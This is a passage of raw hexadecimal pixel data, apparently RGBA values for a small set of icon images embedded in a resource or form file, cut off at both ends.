C0FFC0C0BFFFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFBFC0\n      BFFFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFC0C0BFFFC0C0BFFFC0C0\n      BFFFC0C0BFFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFBFBFBFFFC0C0C0FFBFBFBFFFFFFFFFFF2628B6FF0C10FFFF0E10FFFF0E10\n      FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11FFFF0F11\n      FFFF0E10FFFF0D0FFFFF0D0FFFFF4C4E9AFF5C81A9FF66A0EFFF9DBEF9FFDAFF\n      CAFF73E143FF6EDB45FF74DD4CFF74DD4CFF74DD4CFF74DD4CFF74DD4CFF74DD\n      4CFF74DE4DFF75DE4CFF78E54DFF6D925FFF7C4628FFA6450FFFA3460FFFA246\n      10FFA2470FFFA2450EFFA2460FFFA24710FFA24710FFA24710FFA24710FFA246\n      10FFA34610FFA3450FFFA7470FFF7B5F4DFF654866FF5D3BB4FF5E39ADFF5F3B\n      ADFF603DADFF603DADFF603DADFF5637B9FF82435EFFFFF5E9FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF2628BBFF0E0FFFFF1011FEFF0F12\n      FEFF1112FEFF1112FEFF1112FEFF1112FEFF1112FEFF1112FEFF1112FEFF1112\n      FEFF1012FEFF0F11FEFF0D0FFFFF4D4D9EFF5160A7FF576ADEFF5368DBFF5568\n      E2FFCDD0F7FF9CDF6AFF57B823FF63BD35FF65BE37FF65BE37FF65BE37FF65BE\n      37FF64BE36FF63BE35FF64C133FF698E59FF794626FF953F0FFF943F10FF933D\n      0EFF913B0BFF984517FF954012FF954011FF954112FF954112FF954112FF9541\n      10FF954011FF943F10FF963E0EFF7A5B4CFF5A4073FF3A2BE1FF4B3CDCFF3D2D\n      D7FF3B2AD8FF3C2CD8FF3325E4FF5C3185FFFBF3DFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF2525B9FF0C0DFFFF0F10FEFF100F\n      FEFF1111FEFF1111FEFF1111FEFF1111FEFF1111FEFF1111FEFF1111FEFF1111\n      FEFF100FFEFF0E0FFEFF0C0DFFFF4A4A9EFF7576B7FF3A33DBFF4844D7FF4A46\n      D7FF3E39D7FF8778F6FFCEEABBFF57B218FF53A91CFF59AD23FF59AD23FF59AD\n      23FF58AD24FF57AC21FF57AF20FF648551FF734025FF8D380DFF8C390CFF9142\n      19FFD7BCAEFFF9F6F4FFAF765AFF8A3508FF8F3B11FF8F3B11FF8F3B11FF8D3B\n      11FF8D3C10FF8C390FFF8F390CFF765A4BFF50336CFFAAA5F5FFFFFFFFFFCBC6\n      F3FF2D19D0FF2E1EDFFF582D7AFFFBF3D9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A2A2FF2525B8FF090BFFFF0C0EFEFF0F0F\n      FEFF0E10FEFF100FFEFF0F0FFEFF0F0FFEFF0F0FFEFF0F0FFEFF100FFEFF0E10\n      FEFF0F0FFEFF0D0DFEFF0A09FFFF49499EFF886641FFD2CBEEFF432EE2FF391D\n      D4FF4329D5FF3C22D4FF4023DDFFC5BBF5FF8ECD4EFF429900FF4F9F12FF509F\n      13FF4FA012FF4E9E12FF4EA20EFF607C4CFF6E3D23FF88340BFF85330AFF9448\n      26FFFFFFFFFFFFFFFFFFD0B0A2FF863209FF87360FFF88370FFF88370FFF8837\n      10FF88360FFF87360DFF89330AFF735849FF4C2F69FFEFEFFFFFFFFFFFFFFFFF\n      FFFF2314DBFF542677FFFBF3D9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A2A2FF2525B8FF0909FFFF0C0DFEFF0D0D\n      FEFF0E0EFEFF1010FEFF0F10FEFF0F10FEFF1010FEFF1010FEFF1010FEFF0F0E\n      FEFF0E0EFEFF0C0CFEFF0909FFFF49499EFF6B3F20FF833300FFD6BA9DFF8A79\n      FBFF2B07D3FF3C1AD4FF3D1BD4FF2E0AD1FF7C5BF6FFC9E3B3FF499D03FF4696\n      05FF4B9A0DFF49990BFF499B08FF5F7949FF703820FF8A2A00FF882A00FF9036\n      0DFFCEA08CFFF4DFD6FFAB6444FF872900FF8B2F04FF8B2F04FF8B2F04FF8B2E\n      03FF8A2D02FF892C00FF8C2A00FF735447FF503369FF4A3CE1FFACA5ECFF5147\n      E7FF512279FFFBF7DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF2024C4FF000CFFFF010BFFFF010A\n      FFFF030DFFFF030FFFFF030FFFFF080FFFFF0F10FEFF1010FEFF1010FEFF0F0F\n      FEFF0E0EFEFF0C0CFEFF0909FFFF49499EFF6F4324FF89400BFF7C3100FFA96E\n      35FFD0C7EEFF4124E1FF3613D3FF3F1ED5FF3715D3FF3B15DCFFC6BAF5FF8AC8\n      4BFF3D9200FF48990AFF499C09FF5F7A49FF4D7079FF538E9AFF508A97FF4D88\n      96FF4C8490FF518B99FF4E8896FF508B99FF508B99FF508B99FF508B99FF518B\n      98FF4F8A98FF4F8998FF4E8B99FF607378FF55386BFF2614D8FF1803D3FF531E\n      65FFF4D8A4FFF6E8D0FFF1E1C7FFF1E1C9FFE9DBCEFFE0D0C6FFFBFBFBFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF862820FFAC0C00FFB32516FFB939\n      27FFAD2312FFA50D00FFAC1300FF79124BFF060FFFFF1010FEFF1010FEFF0F0F\n      FEFF0E0EFEFF0C0CFEFF0909FFFF49499EFF704325FF914106FF8D4510FF8C38\n      01FF853500FFD7BC9FFF8A7AFBFF2C09D3FF3C1BD4FF3D1CD4FF2D09D2FF7D5C\n      F7FFCAE4B3FF489D01FF439800FF5F7A49FF506E74FF588C93FF588B91FF578C\n      92FF538591FF52848FFF538690FF538690FF538690FF538690FF538690FF5386\n      90FF528790FF518490FF518792FF617277FF52356BFF4E3EE2FFABA3EEFF6F54\n      BEFF2D0FB0FF3011ADFF2C0FB4FF2602A0FF854648FFECDFD3FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF7B252AFFB23C41FFC26A6DFFCA87\n      87FFC0686BFFAE3E44FF9E1111FF70115BFF050EFFFF0F0FFEFF0F0FFEFF0E0E\n      FEFF0D0DFEFF0B0BFEFF0909FFFF49499EFF724320FF6E6C4EFF449FA4FF5C87\n      79FF875525FF863900FFAD7439FFCFC7EEFF4022E0FF3513D2FF3D1DD4FF3613\n      D3FF3913DBFFC4B9F6FF88CB45FF587747FF723B20FF943704FF923806FF9339\n      08FF933C09FF913708FF8D3306FF8A2F04FF8A2E04FF8A2E04FF8A2E04FF8A2D\n      03FF892C02FF882B00FF8C2A00FF735447FF53356BFFB2AAF7FFFFFFFFFFC3BF\n      F5FF412FDBFF2818E0FF512381FFD5B79CFFFBFBFBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF7B252AFFBB5055FFF1E1E1FFDEC1\n      BBFFF7F2F0FFB54C51FFA81819FF7B1B63FF0D16FFFF1515FEFF1515FEFF1515\n      FEFF1414FEFF1212FEFF0F0FFFFF49499EFF724521FF53948DFF02E7FFFF26C3\n      E0FF6B775FFF964910FF904910FF8F4606FFDDC4A3FF9080FCFF3912D7FF4824\n      D7FF4924D7FF3B11D6FF8C67FEFF8F9688FF713F26FF914110FF914313FF9244\n      16FF924517FF924517FF924517FF924617FF914416FF904215FF8F4115FF8F41\n      15FF8F4114FF904112FF94420FFF735849FF573A6BFF2C15DBFF5C4BDCFF2F1B\n      DDFF3A1AAEFFA97B76FFFBFBF2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF7B252BFFBD5257FFEBD6D5FFD8B2\n      AEFFEFE2E0FFB74E51FFA9171AFF7B1B64FF0D17FFFF1717FEFF1717FEFF1616\n      FEFF1515FEFF1313FEFF0F0FFFFF49499EFF744320FF6B7A61FF26C4DFFF3FAC\n      B7FF856034FF954F13FF935117FF935015FF8C4405FFB4803EFFD4CAF1FF5230\n      E7FF4720D8FF4D28D8FF481EDEFF584B91FF724025FF934310FF934513FF9446\n      15FF944716FF944717FF944717FF944717FF944717FF944717FF944717FF9447\n      16FF934615FF934513FF95440FFF735849FF573A6BFF3924E5FF2E17D9FF7243\n      74FFF0DBB9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF7D232AFFB73A42FFC97177FFDDAC\n      ADFFC4686CFFB53E45FFAB1318FF7B1662FF0610FFFF1111FEFF1111FEFF1111\n      FEFF1010FEFF0E0EFEFF0A0AFFFF47479DFF734622FF925312FF746F4AFF8B5A\n      23FF974D0AFF965011FF955011FF955011FF955011FF924C0AFF924900FFDEC4\n      9FFF9581FCFF3E12DAFF4D21E0FF5A4D8EFF714023FF95440BFF93440EFF9445\n      10FF944611FF944611FF944611FF944611FF944611FF944611FF944611FF9446\n      11FF944510FF93430EFF97440AFF735747FF513371FF471DA4FFC6A085FFFBFB\n      FBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF853237FFB5323CFFBB4F56FFBC50\n      55FFBD5359FFB2323BFFB9383AFF8F387AFF2B33FFFF3333FFFF3333FFFF3333\n      FFFF3333FFFF3131FFFF3232FFFF5555ADFF774D2FFFA56732FFA5612BFFA364\n      31FFA26533FFA26533FFA26533FFA26533FFA26533FFA26533FFA16432FF9A59\n      21FFBF9259FFD5C4E4FF7153E9FF65599DFF77482FFFA45F33FFA15C31FFA25C\n      33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D\n      33FFA25C33FFA15B31FFA45D32FF816455FF896458FFFFFDE5FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFABABABFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0\n      C0FFC0C0C0FFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFBFBEBEFFC0C0\n      C0FFC0C0C0FFC0BFBFFFBFBFBFFFFFFFFFFF598DC0FF3555D9FF375BDAFF375B\n      DAFF385BDAFF385BDAFF385BDAFF385BDAFF385BDAFF385BDAFF385BDAFF385B\n      DAFF375BDAFF375ADAFF3353D9FF7499B4FF712F2DFF921A17FF901B17FF8F1C\n      18FF901B17FF901B17FF901B17FF901B17FF901B17FF8F1B17FF8F1B17FF8F1B\n      17FF8F1C18FF8F1B17FF921917FF75504EFF2D47BEFF1A45FFFF1A44FFFF1B45\n      FFFF1A45FFFF1A45FFFF1A45FFFF1A45FFFF1A45FFFF1A45FFFF1A45FFFF1A45\n      FFFF1B45FFFF1A44FFFF1A45FFFF4E5EA2FF3779C1FF07FFFFFF08FEFFFF0AFA\n      FFFF0BFAFFFF0BFAFFFF0BFAFFFF0BFAFFFF0BFAFFFF0BFAFFFF0BFAFFFF0BFA\n      FFFF0AFAFFFF0AFAFFFF09FFFFFF489AA6FF4D71B9FF1A0CC8FF1F16C9FF2019\n      CAFF2018CAFF2118CAFF2118CAFF2118CAFF2118CAFF2118CAFF2118CAFF2018\n      CAFF2017CAFF1F16C9FF1A0BC9FF698AAEFF6D2C2AFF801513FF811715FF8118\n      16FF811717FF811917FF811917FF811917FF811917FF811917FF811917FF8013\n      12FF801310FF7C1613FF811313FF724D4CFF2F3CBAFF1B2EF5FF1D30F2FF1E31\n      F2FF1F30F2FF1F32F2FF1F32F2FF1F32F2FF1F32F2FF1F32F2FF1F32F2FF1F30\n      F2FF1E31F2FF1D30F2FF1B2EF8FF4D57A1FF424EB5FF3B51ECFF12D9FAFF0BF3\n      FEFF0FE9FDFF0FE9FDFF0FE9FDFF0FE9FDFF0FE9FDFF0FE9FDFF0FE9FDFF0FE9\n      FDFF0EE9FDFF0DE9FDFF0BEFFFFF469AA6FF4A72B8FF160BC6FF1C17C9FF1D17\n      C8FF1D19C8FF1C19C8FF1C17C8FF1B14C8FF1B13C8FF1C19C8FF1C19C8FF1D19\n      C8FF1D18C8FF1A17C9FF1509C7FF698BAFFF662826FF76100FFF751110FF7714\n      13FF761312FF761312FF761312FF761312FF761312FF761312FF770A05FF8C3B\n      39FF7D4356FF81110CFF740D0BFF6E4C4CFF2E2FB2FF1B1CF0FF1E20ECFF1F20\n      ECFF2022ECFF2021EDFF201DF1FF2020F0FF2020F0FF201DF1FF2021EDFF2022\n      ECFF1F20ECFF1D1EECFF1B1DF3FF4F519CFF403FAAFF3C33E1FF4227DCFF21A2\n      F1FF09F9FFFF07E6FDFF08E4FDFF08E4FDFF08E4FDFF08E4FDFF07E4FDFF07E4\n      FDFF06E4FDFF05E4FDFF02E9FFFF4697A1FF4670B7FF1107C5FF1511C6FF1612\n      C8FF1713C7FF1712C7FF1917C7FF2339CAFF2A55CBFF1306C8FF1712C8FF1713\n      C7FF1612C8FF1610C6FF0E04C6FF678BAEFF602524FF6E0B0CFF6E0F0FFF6F0F\n      10FF6F110FFF6F1011FF6F1010FF6F1010FF6F1010FF720904FF63608BFF0C4A\n      BFFF1F6B75FF4970A8FF7B1B19FF6B4949FF2D26ADFF1B0FECFF1E10E8FF1F13\n      E9FF2012E9FF200CF5FF13614FFF1F15E3FF1F18DCFF145D56FF200CF4FF2012\n      E9FF1F13E9FF1D11E8FF1A0DEFFF4E4B97FF4131A5FF3925DDFF3D18D6FF4213\n      D5FF2A5BE3FF5CFDFFFF69FFFFFF69FFFFFF69FFFFFF69FFFFFF69FFFFFF69FF\n      FFFF68FFFFFF67FFFFFF68FFFFFF699FA7FF456FB5FF0D04C5FF120FC6FF1310\n      C8FF1410C8FF140CC7FF2344C8FF327BCCFF388DCBFF3560BAFF1614C6FF140F\n      C8FF1311C8FF120EC7FF0D01C4FF678DB0FF5F2424FF6A0909FF6B0C0CFF6C0D\n      0DFF6C0E0EFF6D0E0EFF6D0F0FFF6D0F0FFF6D0B0BFF75353EFF0043C1FF0946\n      AEFF236F05FF024799FF464488FF6A4747FF2E24ABFF1B08EBFF1E0CE7FF1E0C\n      E9FF1F0EE8FF220AF3FF174380FF106924FF106C1FFF193C8FFF210AF2FF200E\n      E8FF1F0DE9FF1D0BE7FF1A08EEFF4F4996FF3D2486FF1E99D6FF3C62DFFF0FBA\n      EAFF3E06BDFF4112C2FF1C0D16FF160A00FF190A09FF190A09FF190A09FF190A\n      09FF180A08FF160706FF130503FF4D4847FF456FB7FF1106C6FF1511C7FF1210\n      C7FF1611C8FF150EC7FF3994D1FF579B9AFF569494FF3BA0D4FF130BC7FF140F\n      C8FF1411C8FF130FC7FF0D01C4FF678CAEFF602120FF6E0A09FF6B0D0DFF6706\n      06FF670100FF700F07FF6D0F0EFF6E0F0FFF6A090DFF915028FFD6B800FF989D\n      48FF055E21FFB8AA00FFBD941EFF664748FF2F24ABFF1F0CEBFF1E0DE7FF1F0E\n      E9FF2110E9FF2105FDFF154A69FF174575FF164E66FF174077FF2105FDFF200F\n      E9FF1F0EE9FF1D0CE7FF1A09EEFF4F4996FF4328A8FF3B4A71FFBBAD9AFFA5A9\n      A1FF3614DAFF3F1CD7FF411DE6FF201359FF0C0D07FF0E0E0EFF0E0E0EFF0D0D\n      0DFF0C0C0CFF0A0A0AFF070707FF494949FF4770B7FF1308C9FF1914CAFF1914\n      CAFF140FC7FF1410C6FF46BAD3FF3759B6FF425BA5FF3FA7D3FF2035CAFF130D\n      C7FF1411C8FF130FC7FF0D01C4FF678CAEFF505CBEFF89281DFF670000FFB170\n      64FFCED1F9FF899BFFFF67121EFF6E0E0DFF6A090DFF8E4D2BFFC4AF0CFFCDAC\n      0DFF4E8172FFC2AA04FFB18D25FF664748FF2F25ABFF220EEDFF2511E9FF2411\n      E9FF2009EFFF13554FFF116B2EFF11652EFF11652DFF116F28FF154F5AFF2009\n      EFFF1F0EE9FF1D0CE7FF1A09EEFF4F4996FF3A4BA5FF1E4C5BFF0F6367FF3584\n      B8FF2B6DEBFF3E13D6FF3D19DAFF180E3EFF0A0B07FF0C0C0CFF0C0C0CFF0A0A\n      0AFF0A0A0AFF080808FF040404FF484848FF4771B8FF1609CAFF1C16CAFF1D18\n      CCFF1E19CCFF1A11CAFF2747CBFF295CCBFF2C68CCFF223FC9FF1514C6FF130F\n      C7FF1210C7FF110DC6FF0C02C5FF678CAEFF5156ACFFCD9174FFD6D3EFFF8A8E\n      EFFF7A426CFF811200FF700E0BFF6C0E0EFF69080DFF8D4D2AFFC5AE06FFBDAF\n      4FFF345451FFB9A307FFB38E25FF664748FF3125ACFF250FEEFF2812EAFF2A14\n      EBFF2A15EAFF290EF6FF2504FFFF154C68FF15496EFF2202FFFF210AF3FF1E0E\n      E9FF1D0DE9FF1B0BE7FF1A09EEFF4F4996FF462CA3FF4010B6FF2798ECFF4512\n      BBFF451AD2FF5132D9FF2F2F36FF2B2C2DFF2D2C35FF2D2C35FF2D2C35FF2D2C\n      35FF2C2B34FF2A2932FF292931FF545458FF4771B9FF190BCBFF1E18CDFF1F1A\n      CDFF201BCDFF201BCDFF1E15CCFF2321CEFF2934CBFF1C11CBFF1D17CCFF1D18\n      CCFF1D18CCFF1D16CCFF1708CBFF698CB0FF30309EFF6A6FF1FF6465E5FF6B6C\n      E4FF6D73EDFF6D80FFFF7A2231FF7A1514FF761013FF985A38FFD1C522FF948D\n      24FF77752DFFBEB41EFFC0A43CFF674748FF3226ACFF2710EDFF2A13E9FF2C16\n      EBFF2D17EBFF2D17EBFF2E14F1FF273BA5FF2731B4FF2A12EEFF2A15EAFF2915\n      EAFF2914EAFF2A12EAFF280FF1FF504996FF452FA0FF4B23DFFF4D22D9FF481E\n      F0FF5E4C85FFA4AE3CFFA6AE4FFFA6AE52FFA6AE52FFA6AC51FFA5AC51FFA5AC\n      51FFA6AD50FFA5AD4EFFAAB04EFF7A7D5FFF4870B9FF180BCDFF1F18CEFF211A\n      CEFF211BCDFF211BCFFF211BCFFF221ACFFF2119CFFF211BCFFF211BCFFF211B\n      CEFF211ACEFF1F18CEFF1808CDFF678CB0FF31319FFF7278F3FF7274E8FF6E6D\n      E4FF6C70EBFF7184FFFF7B2231FF7D1513FF7D1717FF7B1519FF7B1321FF8117\n      20FF82161DFF7A101CFF7B0B14FF6B4949FF3225ACFF2A10EFFF2C13EBFF2E15\n      EBFF2F16EBFF2F17EBFF2F17EBFF2E16E7FF2E15ECFF2F17EBFF2F17EBFF2E16\n      EBFF2E15EBFF2B13EBFF290FF2FF504996FF452FA0FF4D23E1FF4920E7FF726E\n      49FF848F05FF7B8512FF7B8511FF7B8511FF7B8511FF7B8512FF7B8512FF7B85\n      10FF7B840FFF7A840EFF7C860AFF6B6E47FF456DBAFF1402CDFF190DCDFF1B0F\n      CDFF1C10CDFF1C11CDFF1C11CDFF1C11CDFF1C11CDFF1C11CDFF1C11CDFF1C10\n      CDFF1B0FCDFF190DCDFF1200CDFF678AB0FF5257AFFFA76065FF7B73D7FFBBBF\n      FAFFD09680FF810800FF7A0B09FF7B1111FF7B1111FF7C1010FF7A0F0FFF7A10\n      10FF7A0F0FFF790D0DFF7D0909FF6A4747FF3123ADFF270BEFFF280EEBFF2A10\n      EBFF2C11EBFF2B11EBFF2B11EBFF2C11ECFF2C11EBFF2B11EBFF2B11EBFF2C11\n      EBFF2A10EBFF280EEBFF270AF2FF4E4796FF452AA8FF522DCBFF7D8513FF828C\n      07FF808811FF808811FF808811FF808811FF808811FF808811FF808811FF8088\n      11FF808810FF7D870EFF838A0AFF6B6E47FF518CBDFF5075E2FF4F79E2FF507A\n      E2FF517BE2FF517BE2FF517BE2FF517BE2FF517BE2FF517BE2FF517BE2FF507A\n      E2FF507AE2FF4F79E2FF4E73E1FF6D97B4FF555CB5FFA34A3CFF8C2419FF9358\n      70FF908BDDFFC3CEFFFF9A443FFF8D3131FF8F3333FF8D3333FF8E3333FF8E33\n      33FF8C3333FF8D3131FF8F3232FF765555FF3A2FB3FF4933F2FF4531EFFF4733\n      EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633EFFF4633\n      EFFF4733EFFF4631EFFF4732F4FF5B55A4FF584F78FF96A024FF8F972DFF9097\n      33FF909733FF909733FF909733FF909733FF909733FF909733FF909733FF9097\n      33FF909633FF8F9631FF919832FF787B55FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0\n      C0FFC0C0C0FFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFC0\n      C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0\n      C0FFBFC0BFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      